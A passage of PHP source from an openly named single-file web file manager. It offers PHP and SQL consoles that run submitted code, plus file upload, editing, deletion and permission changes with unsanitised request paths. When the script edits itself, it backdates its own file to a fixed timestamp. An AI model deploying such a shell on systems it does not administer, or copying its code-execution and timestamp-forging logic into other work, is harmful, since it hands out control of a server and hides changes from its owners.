    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
